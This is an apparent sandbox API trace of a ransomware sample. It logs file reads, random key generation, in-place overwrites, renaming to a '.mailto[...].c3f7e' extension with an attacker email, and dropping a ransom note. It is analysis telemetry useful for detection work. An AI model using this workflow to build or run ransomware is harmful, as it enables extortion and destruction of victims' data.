	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xba6b2e0d
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xd173ef66
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x1fee49bc
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xb315c1a0
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x2af555d4
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x9ad06d9f
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xa995daa2
	[0076.377] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.377] ReadFile (in: hFile=0x9dc, lpBuffer=0x4f2f900, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xac8f910, lpOverlapped=0x0 | out: lpBuffer=0x4f2f900*, lpNumberOfBytesRead=0xac8f910*=0xc800, lpOverlapped=0x0) returned 1
	[0076.378] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73b28
	[0076.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0076.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0076.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f3c108
	[0076.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0076.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0076.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b28) returned 1
	[0076.381] WriteFile (in: hFile=0x9dc, lpBuffer=0x4f3c108*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xac8f910, lpOverlapped=0x0 | out: lpBuffer=0x4f3c108*, lpNumberOfBytesWritten=0xac8f910*=0xc800, lpOverlapped=0x0) returned 1
	[0076.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f3c108) returned 1
	[0076.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2f900) returned 1
	[0076.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a6c8
	[0076.383] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.383] WriteFile (in: hFile=0x9dc, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xac8f990, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xac8f990*=0x113, lpOverlapped=0x0) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5bc80) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a6c8) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d612c0
	[0076.385] wcscpy (in: _Dest=0x2d612c0, _Source="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml"
	[0076.385] wcscat (in: _Dest=0x2d612c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.385] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xac8f948, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.386] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x2d89460
	[0076.386] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.386] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7db28) returned 1
	[0076.386] NtQueryInformationFile (in: FileHandle=0x9dc, IoStatusBlock=0xac8f954, FileInformation=0xac8f92c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xac8f954, FileInformation=0xac8f92c) returned 0x0
	[0076.386] NtSetInformationFile (FileHandle=0x9dc, IoStatusBlock=0xac8f954, FileInformation=0xac8f92c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.393] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d612c0) returned 1
	[0076.393] FlushFileBuffers (hFile=0x9dc) returned 1
	[0076.403] CloseHandle (hObject=0x9dc) returned 1
	[0076.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733a70
	[0076.404] wcscpy (in: _Dest=0x4733a70, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0076.404] wcscat (in: _Dest=0x4733a70, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt"
	[0076.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc
	[0076.404] WriteFile (in: hFile=0x9dc, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xac8f950, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xac8f950*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.405] CloseHandle (hObject=0x9dc) returned 1
	[0076.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0076.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1

Thread:
	id = 221
	os_tid = 0x384

	[0076.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0076.378] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x20) returned 1
	[0076.382] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9e4
	[0076.382] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0xad0fce0 | out: lpFileSize=0xad0fce0*=39042) returned 1
	[0076.382] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x987e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.382] ReadFile (in: hFile=0x9e4, lpBuffer=0xad0fc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xad0fc60, lpOverlapped=0x0 | out: lpBuffer=0xad0fc64*, lpNumberOfBytesRead=0xad0fc60*=0x4, lpOverlapped=0x0) returned 1
	[0076.392] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0076.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.392] NtQuerySystemTime (in: CurrentTime=0xad0fc40 | out: CurrentTime=0xad0fc40*=132251868031224239) returned 0x0
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x2bc92cce
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x499cd8d1
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x7bb567ff
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x9d2eb408
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x3ed24d11
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x72477b25
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x3da6a6cb
	[0076.392] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x2cefc1f2
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xfc1cda00
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xbb6dda4a
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xcb248c70
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x612e69b0
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x2ff6008e
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x1e983ec8
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xd316ac67
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x38521e32
	[0076.394] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xb043b007
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xf16abd0f
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x6456e1c4
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xfeaa563f
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x66c31f44
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x991076b2
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x9a5e8140
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xde7f5961
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x1063b8b1
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x3137a5db
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xcd965703
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x9e3811f7
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x15842e26
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x6a300fa8
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0x55d01b1a
	[0076.395] RtlRandom (in: Seed=0xad0fc4c | out: Seed=0xad0fc4c) returned 0xe6765d06
	[0076.403] ReadFile (in: hFile=0x9e4, lpBuffer=0x4f2f900, nNumberOfBytesToRead=0x9882, lpNumberOfBytesRead=0xad0fc3c, lpOverlapped=0x0 | out: lpBuffer=0x4f2f900*, lpNumberOfBytesRead=0xad0fc3c*=0x9882, lpOverlapped=0x0) returned 1
	[0076.408] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.408] WriteFile (in: hFile=0x9e4, lpBuffer=0x4f3c108*, nNumberOfBytesToWrite=0x9882, lpNumberOfBytesWritten=0xad0fc38, lpOverlapped=0x0 | out: lpBuffer=0x4f3c108*, lpNumberOfBytesWritten=0xad0fc38*=0x9882, lpOverlapped=0x0) returned 1
	[0076.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0076.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0076.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f3c108) returned 1
	[0076.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2f900) returned 1
	[0076.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b28) returned 1
	[0076.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d780e0
	[0076.409] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.410] WriteFile (in: hFile=0x9e4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xad0fca0, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xad0fca0*=0x105, lpOverlapped=0x0) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77fc0) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780e0) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2aad8
	[0076.411] wcscpy (in: _Dest=0x2e2aad8, _Source="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml"
	[0076.411] wcscat (in: _Dest=0x2e2aad8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.411] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xad0fc58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d848
	[0076.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d848) returned 1
	[0076.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.414] NtQueryInformationFile (in: FileHandle=0x9e4, IoStatusBlock=0xad0fc64, FileInformation=0xad0fc3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xad0fc64, FileInformation=0xad0fc3c) returned 0x0
	[0076.414] NtSetInformationFile (FileHandle=0x9e4, IoStatusBlock=0xad0fc64, FileInformation=0xad0fc3c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2aad8) returned 1
	[0076.415] FlushFileBuffers (hFile=0x9e4) returned 1
	[0076.416] CloseHandle (hObject=0x9e4) returned 1
	[0076.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x47339a0
	[0076.417] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0076.417] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt"
	[0076.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\c3f7e-readme.txt")) returned 0x20
	[0076.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53c68) returned 1

Thread:
	id = 222
	os_tid = 0x510

	[0076.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
	[0076.691] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1
	[0076.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c4
	[0076.692] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0xad8f87c | out: lpFileSize=0xad8f87c*=93314) returned 1
	[0076.692] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x16c7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.692] ReadFile (in: hFile=0x8c4, lpBuffer=0xad8f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xad8f7fc, lpOverlapped=0x0 | out: lpBuffer=0xad8f800*, lpNumberOfBytesRead=0xad8f7fc*=0x4, lpOverlapped=0x0) returned 1
	[0077.652] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0077.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34578
	[0077.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345a0
	[0077.652] NtQuerySystemTime (in: CurrentTime=0xad8f7dc | out: CurrentTime=0xad8f7dc*=132251868043937623) returned 0x0
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x4f05b3bb
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xef05dba3
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xe5a2f
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x66706027
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xa566ef30
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x65d38740
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x209be5aa
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x42b1a05b
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x538e8c75
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xcffb5191
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x95f70810
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x97e66399
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xbecf7383
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x31cf142d
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xff6e7e0
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xbb6c1cb8
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x7a2beda6
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xcf65006
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xb2680ac7
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x432747c7
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x7717260a
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xd173c868
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x741e7231
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x3c1511ba
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xe8c18e26
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x5ffb6b7
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x6da21f5d
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x2a6b4d41
	[0077.652] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x5af7fdb6
	[0077.653] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x7c44d8f4
	[0077.653] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0xd61d3eaf
	[0077.653] RtlRandom (in: Seed=0xad8f7e8 | out: Seed=0xad8f7e8) returned 0x4d41ec50
	[0077.663] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.663] ReadFile (in: hFile=0x8c4, lpBuffer=0x476f710, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xad8f7bc, lpOverlapped=0x0 | out: lpBuffer=0x476f710*, lpNumberOfBytesRead=0xad8f7bc*=0xc800, lpOverlapped=0x0) returned 1
	[0077.802] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0077.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47535c0
	[0077.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0077.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0077.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47f4fd8
	[0077.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0077.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0077.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0077.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47535c0) returned 1
	[0077.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0077.804] WriteFile (in: hFile=0x8c4, lpBuffer=0x47f4fd8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xad8f7bc, lpOverlapped=0x0 | out: lpBuffer=0x47f4fd8*, lpNumberOfBytesWritten=0xad8f7bc*=0xc800, lpOverlapped=0x0) returned 1
	[0078.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f4fd8) returned 1
	[0078.397] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f710) returned 1
	[0078.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb200
	[0078.397] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.397] WriteFile (in: hFile=0x8c4, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xad8f83c, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0xad8f83c*=0x113, lpOverlapped=0x0) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb238) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb200) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
